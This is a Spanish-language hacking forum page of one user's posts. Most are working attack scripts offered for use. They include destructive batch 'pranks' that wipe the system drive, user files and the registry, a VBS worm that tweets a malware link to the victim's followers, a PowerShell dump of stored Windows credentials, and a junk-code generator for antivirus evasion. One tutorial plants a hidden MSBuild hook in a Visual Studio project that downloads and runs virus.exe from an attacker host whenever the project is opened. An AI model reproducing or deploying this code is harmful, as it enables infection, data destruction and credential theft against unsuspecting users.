  1. MsgBox Iif(UploadFile ("ftp://tu.server.com", "Usuario", "Pass", "C:\ArchivoLocal.txt", "/Server/ArchivoRemoto.txt"), "Archivo Subido Correctamente", "Error - Archivo No Subido")

GRACIAS POR LEER!!!

8
Batch - Bash / [BATCH] Pranks
« en: Junio 04, 2018, 11:53:44 am »
HOLA!!!

Les dejo una lista de Pranks (bromas pesadas) en BATCH:

1 Deshabilitar Mouse:
Código: DOS
  1. set key="HKEYLOCALMACHINE\system\CurrentControlSet\Services\Mouclass"
  2. reg delete %key%
  3. reg add %key% /v Start /t REG_DWORD /d 4_

2 Invertir Mouse:
Código: Bash
  1. Rundll32 user32,SwapMouseButton

3 Eliminar toda la carpeta del usuario que corre el script: [PELIGROSO, SIN ARREGLO]
Código: DOS
  1. del /f /q "C:\Users\%userprofile%\*.*"

4 Cambiar hora de la pc:
Código: DOS
  1. time 00:00

5 File Flood:
Código: DOS
  1. :start
  2. echo Hola >>%random%.txt
  3. goto start

6 Romper PC: [PELIGROSO, SIN ARREGLO]
Código: DOS
  1. del %systemdrive%\*.* /f /s /q
  2. shutdown -r -f -t 00

7 Error sos muy tonto, el sitstema se reiniciara para ver si no estas cuando vuelva:
Código: DOS
  1. msg * Error Fatal debido a la idiotez del usuario actual!
  2. shutdown -c “Error! sos muy tonto, el sitstema se apagará para ver si no estás cuando vuelva!” -s -t 10

8 Destruir registro: [PELIGROSO, SIN ARREGLO]
Código: DOS
  1. START reg delete HKCR/.exe
  2. START reg delete HKCR/.dll
  3. START reg delete HKCR/*
  4. :MSGX
  5. ECHO Tu pc ha sido destruida, que tengas un gran dia!
  6. GOTO MSGX

9 Ram Overflow con notepads:
Código: DOS
  1. :nuevo
  2. START %SystemRoot%\system32\notepad.exe
  3. GOTO nuevo

GRACIAS POR LEER!!!

9
Otros lenguajes Scripting / [VBS] Twitter Spread (FUD)
« en: Abril 18, 2018, 12:58:23 pm »
HOLA!!!

Esto no puede ser mas facil. Si el usuario tiene logueado Twitter y ejecutamos este script enviara esto como twit a todos sus seguidores!

Código: Visual Basic
  1.     Set WS = CreateObject("WScript.Shell")
  2.     call tw_txt_spread("Acabo de publicar un album de fotos http://www.servidor.com/photo_album.exe")
  3.      
  4.     Function TW_TXT_Spread(X)
  5.     Randomize
  6.      
  7.     WS.run "http://www.twitter.com"
  8.     WScript.Sleep 6000
  9.      
  10.     WS.SendKeys "n"
  11.     WScript.Sleep 800
  12.     WS.SendKeys X
  13.     WScript.Sleep 500
  14.     WS.SendKeys "{TAB}"
  15.     WScript.Sleep 500
  16.     WS.SendKeys "^{ENTER}"
  17.     End Function

GRACIAS POR LEER!!!

10
HOLA!!!

ATENCION: Requiere Firefox / Chrome y ser ejecutado con permisos de admin.

Código: Visual Basic
  1. 'FUNCIONA SOLO SI LA PC POSEE FIREFOX/CHROME(CON CHROME CAMBIANDO LA LINEA DONDE DICE "FIREFOX.EXE" POR "CHROME.EXE")
  2.  
  3. Call ScreenShot("c:\web.html","c:\a.html")
  4.  
  5. Function ScreenShot(WebUrl, Output)
  6.     With CreateObject("Word.Basic")
  7.         .SendKeys "{1068}"
  8.     End With
  9.     Set objFSO = CreateObject("Scripting.FileSystemObject")
  10.     Set objFile = objFSO.CreateTextFile(WebUrl, True)
  11.     objFile.Write "<script>function handlepaste () {myimage = ImageGrab.grabclipboard();}</script><body onload='handlepaste()'></body><div id='div' contenteditable='true' onpaste='handlepaste()'>Paste</div>" & vbCrLf
  12.     objFile.Close
  13.     On Error Resume Next
  14.         CreateObject("Scripting.FileSystemObject").DeleteFile "c:\a.html"
  15.     On Error GoTo 0
  16.     Set wshshell = wscript.CreateObject("WScript.Shell")
  17.     'antes de aca se podria poner una instruccion para que cerrara el proceso del Firefox
  18.        wshshell.run "firefox.exe -Height 1 -Width 1 " & WebUrl 'Abre firefox en tama�o 1x1  
  19.            wscript.sleep 5000
  20.         wshshell.SendKeys ("{TAB}") 'entra a la web
  21.            wscript.sleep 500
  22.         wshshell.SendKeys ("+{INSERT}") 'pega el screenshot
  23.            wscript.sleep 1000
  24.         wshshell.SendKeys ("^s") 'guarda la pagina
  25.            wscript.sleep 500
  26.         wshshell.SendKeys (Output) 'pone el path
  27.            wscript.sleep 1000
  28.         wshshell.SendKeys ("{ENTER}") 'confirma el guardado
  29.    'aca se podria matar a la ventana del firefox abierta para no dejar rastos.
  30. End Function

GRACIAS POR LEER!!!

11
HOLA!!!

Aqui una serie de funciones para codificar y decodificar base64 de y a texto y de y a stream binario.

Código: Visual Basic
  1. Function Base64Encode(sText)
  2.     Dim oXML, oNode
  3.  
  4.     Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
  5.     Set oNode = oXML.CreateElement("base64")
  6.     oNode.dataType = "bin.base64"
  7.     oNode.nodeTypedValue =Stream_StringToBinary(sText)
  8.     Base64Encode = oNode.text
  9.     Set oNode = Nothing
  10.     Set oXML = Nothing
  11. End Function
  12.  
  13. Function Base64Decode(ByVal vCode)
  14.     Dim oXML, oNode
  15.  
  16.     Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
  17.     Set oNode = oXML.CreateElement("base64")
  18.     oNode.dataType = "bin.base64"
  19.     oNode.text = vCode
  20.     Base64Decode = Stream_BinaryToString(oNode.nodeTypedValue)
  21.     Set oNode = Nothing
  22.     Set oXML = Nothing
  23. End Function
  24.  
  25. Function Stream_StringToBinary(Text)
  26.   Const adTypeText = 2
  27.   Const adTypeBinary = 1
  28.   Dim BinaryStream 'As New Stream
  29.  Set BinaryStream = CreateObject("ADODB.Stream")
  30.   BinaryStream.Type = adTypeText
  31.   BinaryStream.CharSet = "us-ascii"
  32.   BinaryStream.Open
  33.   BinaryStream.WriteText Text
  34.   BinaryStream.Position = 0
  35.   BinaryStream.Type = adTypeBinary
  36.   BinaryStream.Position = 0
  37.   Stream_StringToBinary = BinaryStream.Read
  38.   Set BinaryStream = Nothing
  39. End Function
  40.  
  41. Function Stream_BinaryToString(Binary)
  42.   Const adTypeText = 2
  43.   Const adTypeBinary = 1
  44.   Dim BinaryStream 'As New Stream
  45.  Set BinaryStream = CreateObject("ADODB.Stream")
  46.   BinaryStream.Type = adTypeBinary
  47.   BinaryStream.Open
  48.   BinaryStream.Write Binary
  49.   BinaryStream.Position = 0
  50.   BinaryStream.Type = adTypeText
  51.   BinaryStream.CharSet = "us-ascii"
  52.   Stream_BinaryToString = BinaryStream.ReadText
  53.   Set BinaryStream = Nothing
  54. End Function

GRACIAS POR LEER!!!

12
HOLA!!!

Este pequeño script lo que realiza es enumerar todas las passwords y usuarios que estan en el Secure Vault de Windows y los muestra, muy util si "olvidamos" una contraseña.

Código: [Seleccionar]
    [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
    $vault = New-Object Windows.Security.Credentials.PasswordVault
    $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }

Ejemplo:


GRACIAS POR LEER!!!

13
HOLA!!!

Este metodo lo uso desde muy pequeño y aun sigue fucionando, se trata de escribir en la barra de direcciones del navegador lo siguiente y presionar enter.

Código: Text
  1. javascript:document.body.contentEditable='true'; document.designMode='on'; void 0

Una vez realizado esto la pagina entrara en modo de diseño es decir que la podras editar como si fuese un WORD.

Es mas, podes copiar y pegar cosas entre webs.

Yo personalmente lo uso cuando debo imprimir algo y quiero que sea distinto a lo que dice la web.

Aqui un ejemplo de lo que hice recien usando este metodo con GOOGLE.



Espero que les sirva!

Extra, para volver a usar la web como antes:
Código: Text
  1. javascript:document.body.contentEditable='false'; document.designMode='off'; void 0

14
HOLA!!!

Este simple script puede unir varios archivos de distintas extensiones en uno, y segun la extension del archivo final sera cual se abrira y la pc detectara.

Lo utilice hace años en este retoRETO ESTEGANOGRAFIA, sirve para tener las cosas a corto alcance pero lejos de los ojos de los demas, es decir escondidas a simple vista.

sin mas el codigo!

Código: DOS
  1. @echo off
  2. title Copy b Binder 79137913
  3. cls
  4. :f
  5. echo Inserte el nombre del archivo (Ejemplo: MiArchivo.rar)
  6. set/p "fil=>"
  7. goto cf :cf
  8. cls
  9. if exist %fil% (
  10. ) else (
  11. echo No se encontro el archivo en esta carpeta.
  12. )
  13. :i
  14. echo Inserte el nombre del segundo archivo (Ejemplo: Imagen.jpg)
  15. set/p "img=>"
  16. goto ci :ci
  17. cls
  18. if exist %img% (
  19. ) else (
  20. echo No se encontro el archivo en esta carpeta.
  21. )
  22. :o
  23. echo Inserte el nombre del archivo final (Ejemplo: Secreto.jpg)
  24. set/p "out=>"
  25. :mydata
  26. cls
  27. echo Detalle del trabajo a realizar:
  28. echo Archivo 1 = %fil%
  29. echo Archivo 2 =%img%
  30. echo Archivo de salida =%out%
  31. echo If the information is correct then
  32. echo Comenzando proceso, puede demorar...
  33. copy /b "%fil%"+"%img%" "%out%"
  34. echo Terminado satisfactoriamente, presione una tecla para salir.

GRACIAS POR LEER!!!

15
Otros lenguajes Scripting / [SOURCE]Generador de codigo basura
« en: Febrero 06, 2018, 02:54:52 pm »
HOLA!!!

Este generador te ayudara a hacer mas indetectables tus codigos en autoit!

Espero que les sirva

Código: [Seleccionar]
$totallineas = 20000            ;Cantidad de lineas
$salida = "Basura.txt"     ;Archivo de salida
$numlines = 10             ;Lineas temporales (con 10 anda bien)

FileDelete($salida)

Dim $lineas[$numlines + 1]
$lineas[0] = $numlines
_dimlines($numlines)
FileWrite($salida, "")
$i = 0
$paso = Random(20,30,1)
Do
    If $i = $paso Then
        $paso = $paso + Random($i + 20, $i + 30,1)
        _dimlines($numlines)
    EndIf
    $i = $i + 1
    $rand = Random(1,10,1)
    FileWriteLine($salida, $lineas[$rand])
    $porcentaje = $i / $totallineas * 100
    ToolTip("Se crearon: "$i & " de " & $totallineas & " lineas - (" & $porcentaje & "%)")
Until $i = $totallineas

Func _dimlines($dsalida)
    $d = 1
    Do
        $lineas[$d] =  "$" & Random(50000,150000,1) & ' = "' & Random(50000,150000,1) & '"'
        $d = $d + 1 ;$d++
    Until $d = $dsalida
EndFunc

Este creador de codigo basura es bastante simple solo crea variables pero con un poco de modificacion se puede hacer mas versatil.

GRACIAS POR LEER!!!

16
Batch - Bash / [BATCH] Generador de contraseñas.
« en: Enero 05, 2018, 12:15:26 pm »
HOLA!!!

Les traigo un generador de contraseñas de 1 a 60000 caracteres muy facil de entender y de usar.



Espero que les sirva mucho aqui el codigo:

Código: DOS
  1. @echo off >Nul
  2. Setlocal EnableDelayedExpansion
  3. Title Generador de Passwords en BATCH
  4. :menu
  5. SET "compiled="
  6. echo Generador de Passwords en BATCH
  7. Set/p "psschr=Inserte cantidad de caracteres deseados: "
  8. If %psschr%==0 (Set "amount=menor" && Set "val=1" && call :invalid)
  9. If %psschr% GTR 60000 (Set "amount=mayor" && Set "val=60000" && call :invalid)
  10.  
  11. Set "chars=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789#+-}./]{?$,:@\[_~"
  12. Set count=1
  13. :x
  14. Set /a count+=1
  15. Set rand=%Random%
  16. Set /a rand=rand%%79
  17. SET compiled=%compiled%!chars:~%rand%,1!
  18. If !count! leq %psschr% goto :x
  19. echo Contraseña: !compiled!
  20. :clipboard
  21. set /p "choice=Quiere que la contraseña quede copiada en su portapapeles? (Y/N): "
  22. If not defined choice (
  23. cls
  24. goto :clipboard
  25. )
  26. if /i %choice% == y call :copy
  27. if /i %choice% == yes call :copy
  28. if /i %choice% == no goto menu
  29. if /i %choice% == n goto menu
  30. goto :menu
  31. @exit /B
  32.  
  33. :invalid
  34. cls
  35. echo La longitud solicitada es ( %amount% ) al limite ( %val% ).
  36. pause >nul & goto :menu
  37. @exit /B
  38.  
  39. echo !compiled! | clip
  40. echo La contraseña ha sido copiada a tu portapapeles.
  41. Timeout /T 5 >nul
  42. goto :menu
  43. @exit /B

GRACIAS POR LEER!!!

17
Hacking / [FUD]Visual Studio Spread
« en: Noviembre 08, 2017, 12:00:28 pm »
HOLA!!!

Bueno paso a explicarles, los proyectos de VisualStudio (probado hasta 2015) permiten añadir una serie de comandos, en ellos vamos a agregar un Download&Execute que infectara la maquina que abra el proyecto de VS que nosotros modificamos.

Paso 1: Crear un proyecto de VS, sea VB o C#
Paso 2: Buscar el .vbproj o .csproj y editar con un editor de texto.
Step 3: En la segunda linea veremos algo asi:

Código: XML
  1. <Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

Eso lo vamos a agregar la siguiente variable:
InitialTargets="BuildX"

La linea quedara de la siguiente forma:
Código: XML
  1. <Project ToolsVersion="14.0" InitialTargets="BuildX" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">

Paso 4:
Agregar lo siguente al final del archivo pero antes de cerrar el tag "</project>"
Código: XML
  1. <Target Name="BuildX">
  2.     <Exec Command="bitsadmin.exe /transfer NAME http://enlacedirecto.atu/virus.exe %temp%\1.exe" >
  3.       <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
  4.     </Exec>
  5.     <Exec Command="%temp%\1.exe" >
  6.       <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
  7.     </Exec>
  8.     <Exec Command="del %temp%\1.exe" >
  9.       <Output TaskParameter="ExitCode" PropertyName="ErrorCode" />
  10.     </Exec>
  11.     <Message Importance="high" Text="$(ErrorCode)" />
  12.   </Target>

Luego guardamos el archivo

Ahora cuando cualquiera abra el proyecto de VStudio descargará y ejecutara nuestro archivo exe!

P.D: Si muchachos, ¡ES FUD!, aunque es posible que VStudio de una advertencia de Abortar/Continuar (de todos modos el que quiere el codigo suele poner continuar).

GRACIAS POR LEER!!!

19
HOLA!!!



Las expresiones regulares son muy utiles al momento de programar, pero ¿a quien nunca le ha dado un dolor de cabeza al intentar leer o crear una? Sea por su inusual sintaxis, su poca difusion o su nivel de abstraccion las expresiones regulares son un problema para muchos. Para esto les traigo esta web (mas herramienta que web) que te ayuda a escribir e interpretar RegExs sin que se acabe tu mundo.

Te permite escribir expresiones regulares y ver las coincidencias en tiempo real resaltadas en el texto, una interfaz simple y sencilla que permite hacer testeos por prueba y error. Como si fuese poco otorga una gran cantidad de informacion sobre RegEx asi como CheatSheets y otros aditamentos que hacen a esta la herramienta perfecta para trabajar con expresiones regulares.

Aqui podemos ver una foto de su interfaz:



Ahora  a la pregunta que todos tienen en mente, cuanto me paga RegExr para hacer este post, la respuesta es simple, NADA, por que esta herramienta me ha solucionado tantos embrollos que lo menos que puedo hacer es nombrarla y hacer una buena review.

Solo queda que pruebes y entres. ¡No tengas miedo, no la podes romper!

https://regexr.com/

GRACIAS POR LEER!!!

20
HOLA!!!

Este codigo previene Ejecutar, Mover, Eliminar, Cortar, Renombrar, Sobreescribir, entre otras sobre el archivo que seleccionemos.

Simple y sencillo

Código: vb.net
  1.     'Opcion 1, aqui bloquearemos C:\config.cfg con el método 1
  2.     Dim ArchivoBloqueado As New FileStream("C:\config.cfg", FileMode.Open, FileAccess.Read, FileShare.ReadWrite)
  3.  
  4.     'Opcion 2, aqui bloquearemos C:\Malware.exe con el método 2
  5.     Call File.Open("C:\Malware.exe", FileMode.Open, FileAccess.Read, FileShare.ReadWrite)
  6.  

GRACIAS POR LEER!!!

Páginas: [1] 2 3 ... 5